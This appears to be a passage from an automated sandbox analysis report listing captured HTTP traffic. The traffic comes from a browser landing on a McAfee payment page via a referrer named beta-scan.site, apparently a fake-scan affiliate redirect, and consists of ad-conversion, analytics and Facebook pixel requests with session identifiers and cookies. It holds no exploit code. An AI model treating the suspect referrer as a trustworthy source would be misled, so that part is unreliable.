IDE=AHWqTUmXyiOcSRqbj4iTu3Rw1hHXxhVzl2_XxmukL0AweCoc3yceYGLHl0Paw5bj
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/740246542/?random=1109197643&cv=11&fst=1727968793173&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBOAFAAUonZXZlbnQtc291cmNlPW5hdmlnYXRpb24tc291cmNlLCB0cmlnZ2VyYgQKAgID&pscrd=CJWQ5pOrotzj8AEiEwiOrouywfKIAxXiiIMHHcQELvoyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3Lm1jYWZlZS5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDlTb1J6bG1IckRaNGl3TXQ1TzI3S2ZwYkJjYjlHTlBvazk4NlBxbnNPVHMxbHNMYjJxeGNRZw&is_vtc=1&cid=CAQSKQDpaXnfPwy8Zoud_RC8qS39GFWmt1sOzXTa8IVi8plZLbsR-5__a3l9&random=3118546466 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sp.pl?a=10000&d=Thu%2C%2003%20Oct%202024%2015%3A19%3A55%20GMT&n=4d&b=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&.yp=10180750&f=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&e=https%3A%2F%2Fbeta-scan.site%2F&enc=UTF-8&yv=1.16.5&tagmgr=tealium%2Cgtm HTTP/1.1Host: sp.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/554540123362514?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112 HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/740246542/?random=1286466279&cv=11&fst=1727968793197&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjqxrECCJHJsQIiAQE4AUABSixldmVudC1zb3VyY2UsIHRyaWdnZXIsIG5vdC1uYXZpZ2F0aW9uLXNvdXJjZWIECgICAw&pscrd=CIfcnqP5tqvNFSITCN6lm7LB8ogDFfaggwcd5BcLfTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cubWNhZmVlLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOWFzTHpqWmxzMDBmWHNlZlVMSkRWSDBua2tWX1FGMjN5MUdSUDR6cVpBbFlvLXBZdFdHUE5R&is_vtc=1&cid=CAQSKQDpaXnfsqNK4EbbBYs-NEJ-OLRQPq-SY4IWw2OGFYL6omlc8nRcimbY&random=246943248 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datalayer/v4/latest.js HTTP/1.1Host: edge.fullstory.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968797348&PageStart=1727968793870&PrevBundleTime=1727968796409&LastActivity=3388&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/740246542/?random=1109197643&cv=11&fst=1727968793173&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBOAFAAUonZXZlbnQtc291cmNlPW5hdmlnYXRpb24tc291cmNlLCB0cmlnZ2VyYgQKAgID&pscrd=CJWQ5pOrotzj8AEiEwiOrouywfKIAxXiiIMHHcQELvoyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3Lm1jYWZlZS5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDlTb1J6bG1IckRaNGl3TXQ1TzI3S2ZwYkJjYjlHTlBvazk4NlBxbnNPVHMxbHNMYjJxeGNRZw&is_vtc=1&cid=CAQSKQDpaXnfPwy8Zoud_RC8qS39GFWmt1sOzXTa8IVi8plZLbsR-5__a3l9&random=3118546466 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __Secure-BUCKET=CLgH
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968797360&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sp.pl?a=10000&d=Thu%2C%2003%20Oct%202024%2015%3A19%3A55%20GMT&n=4d&b=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&.yp=10180750&f=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&e=https%3A%2F%2Fbeta-scan.site%2F&enc=UTF-8&yv=1.16.5&tagmgr=tealium%2Cgtm HTTP/1.1Host: sp.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBB62_mYCEPAz95LvhQeTpOto-YUPR4cFEgEBAQEHAGcIZ9xA0iMA_eMAAA&S=AQAAAh-ZWS3yXGVui-krIvjVQQc
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/740246542/?random=1286466279&cv=11&fst=1727968793197&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjqxrECCJHJsQIiAQE4AUABSixldmVudC1zb3VyY2UsIHRyaWdnZXIsIG5vdC1uYXZpZ2F0aW9uLXNvdXJjZWIECgICAw&pscrd=CIfcnqP5tqvNFSITCN6lm7LB8ogDFfaggwcd5BcLfTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cubWNhZmVlLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOWFzTHpqWmxzMDBmWHNlZlVMSkRWSDBua2tWX1FGMjN5MUdSUDR6cVpBbFlvLXBZdFdHUE5R&is_vtc=1&cid=CAQSKQDpaXnfsqNK4EbbBYs-NEJ-OLRQPq-SY4IWw2OGFYL6omlc8nRcimbY&random=246943248 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __Secure-BUCKET=CLgH
Source: global traffic	HTTP traffic detected: GET /signals/config/479551210773800?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112%2C199%2C198%2C200%2C205%2C206%2C207%2C203%2C195%2C131%2C162%2C194%2C196%2C121%2C156%2C144%2C150%2C188%2C189%2C128%2C231%2C115%2C126%2C232%2C164%2C118%2C234%2C165%2C135%2C122%2C153%2C147%2C113%2C127 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datalayer/v4/latest.js HTTP/1.1Host: edge.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968798173&PageStart=1727968793870&PrevBundleTime=1727968798364&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/479551210773800?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112%2C199%2C198%2C200%2C205%2C206%2C207%2C203%2C195%2C131%2C162%2C194%2C196%2C121%2C156%2C144%2C150%2C188%2C189%2C128%2C231%2C115%2C126%2C232%2C164%2C118%2C234%2C165%2C135%2C122%2C153%2C147%2C113%2C127 HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968798770&PageStart=1727968793870&PrevBundleTime=1727968799153&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=479551210773800&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799268&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22663%22%5D&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=479551210773800&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799268&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22663%22%5D&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
